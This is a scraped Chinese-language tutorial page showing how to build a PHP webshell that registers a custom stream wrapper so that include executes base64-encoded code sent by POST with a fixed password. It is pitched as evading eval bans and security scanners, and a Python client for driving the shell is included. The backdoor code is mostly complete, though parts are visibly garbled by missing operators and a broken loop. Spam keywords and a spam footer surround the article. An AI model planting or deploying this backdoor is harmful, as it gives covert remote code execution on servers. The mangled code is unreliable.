婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > PHP使用流包裝器實現WebShell的方法

PHP使用流包裝器實現WebShell的方法

熱門標簽:電信外呼系統多少錢一個月 桂陽公司如何做地圖標注 合肥企業外呼系統線路 代理打電話機器人 太原400電話申請流程 萍鄉商鋪地圖標注 企業400電話辦理多少費用 神龍斗士電話機器人 宿州正規外呼系統軟件

0×00 前言

在Web安全領域WebShell的構造與查殺是永不停息的話題,這幾天發現了一種新型方式生成WebShell,隱蔽度高,目前安全查殺軟件沒法檢測到相關的后門漏洞,不同于 eval 或則 asset 等方式運行后門,對于這兩個函數禁用的情況下一樣適用,目前除了禁用相關函數還暫時沒有相關方式來避免漏洞。

0×01 后門原理

在PHP開發中,我們使用最為頻繁的指令大概就是 include 指令, include 指令中一些比較普通的文件包含漏洞我們就忽略了,先來看看一串代碼:

include 'http://www.test.com/code.php'

我們通過這一串代碼可以很容易的引用外部的PHP程序,但是前提是配置文件允許該行為被執行,先看看我的配置項

;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen =Off
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off

從配置文件可以看到,allow_url_include 被我關閉了,也就是包含遠程代碼是不可能執行的,但是我們這里利用了一個東西。http:// 流,我們知道,在PHP中很多東西都是可以通過流包裝器來使用的,比如常見的 php:// 流,我們可以通過 php://input 來獲取輸入流來讀取請求體的內容,那么根據這個思路,我們能不能通過流包裝器來實現代碼執行?答案是可行的 通過PHP函數 stream_wrapper_register 注冊包裝器,檢測特定的URL包裝功能,監控 include 流,在 include 流中動態生成PHP代碼,我將通過如下代碼執行一個 hello world 程序來證明這個過程

include 'hello://dxkite';

Hello Stream Wrapper 的實現

code = "position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset  strlen($this->code)  $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 public function stream_stat()
 {
  return stat(FILE);
 }
}
stream_wrapper_register('hello', HelloStream::class);
include 'hello://dxkite';

通過如上的代碼,經過執行后,可以輸出一個 hello worldHelloWorld

 

0×02 后門示例

通過上述程序,我們實現了通過 include 指令直接執行 php ,并插入我們想要的效果,我們現在根據這個原理寫一個Shell:

后門程序

@link //dxkite.cn
 */
class ShellStream
{
 protected $position;
 protected $code;
 public function stream_open($path, $mode, $options, $opened_path)
 {
  $url = parse_url($path);
  $name = $url["host"];
  $this->code = base64_decode($name);
  $this->position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset  strlen($this->code)  $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 // include
 public function stream_stat()
 {
  return stat(FILE);
 }
 // file exists
 public function url_stat(string $path,int $stat)
 {
  return stat(FILE);
 }
 public static function shell(){
  stream_wrapper_register('shell', ShellStream::class);
  if (isset($_POST['password'])  $_POST['code']) {
   if ($_POST['password']=='dxkite') {
    $code = $_POST['code'];
    include 'shell://'.$code;
   } else {
    include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
   }
  }
 }
}

ShellStream::shell();

 

上述我實現了一個使用 $_POST 作為輸入,接收密碼和php代碼的base64并執行代碼的后門利用程序

import requests 
import base64
import sys
def send_raw(url,password,cmd):
 res=requests.post(url,{
  'password':password,
  'code': base64.b64encode(cmd.encode('utf-8')) 
 })
 return res.text
def send_php_shell(url,password,cmd):
 return send_raw(url,password,'')
  if cmd == 'exit':
   break
  elif cmd.startswith('run'):
   cmd,path = cmd.split(' ',1)
   code = ''
   with open(path) as f:
    for line in f:
     code = code + line + "\r\n" 
   response = send_raw(url,password,code);
   print(response)
  else:
   response = send_php_shell(url,password,cmd);
   print(response)

我們把我們的 shell.php 部署到服務器上,執行測試 shell.py :

php-shell.png

其中,test.php 的內容為:

?php
 include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs';
 echo 'hello, shell world';

0×03 后門查殺

百度在線掃描

 

安全狗本地掃描

 

總結

以上所述是小編給大家介紹的PHP使用流包裝器實現WebShell的方法,希望對大家有所幫助,如果大家有任何疑問歡迎給我留言,小編會及時回復大家的!

您可能感興趣的文章:
  • php木馬webshell掃描器代碼
  • 精確查找PHP WEBSHELL木馬 修正版
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • PHP webshell檢查工具 python實現代碼
  • phpMyAdmin 后臺拿webshell

標簽:崇左 白銀 太原 廊坊 辛集 綏化 衡陽 鄂州

巨人網絡通訊聲明:本文標題《PHP使用流包裝器實現WebShell的方法》,本文關鍵詞  PHP,使用,流,包裝,器,實現,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PHP使用流包裝器實現WebShell的方法》相關的同類信息!
  • 本頁收集關于PHP使用流包裝器實現WebShell的方法的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 南投县| 宜昌市| 金华市| 孟州市| 特克斯县| 山东| 潍坊市| 丹江口市| 贵德县| 玛曲县| 封开县| 盐亭县| 芜湖市| 尼木县| 莲花县| 兴海县| 广宁县| 竹北市| 雷州市| 桓仁| 宕昌县| 于都县| 温州市| 三原县| 墨江| 霍州市| 五原县| 科技| 拜泉县| 金秀| 遂宁市| 武乡县| 临西县| 景泰县| 洛宁县| 建昌县| 天峻县| 黔西| 方正县| 嘉峪关市| 乌鲁木齐市|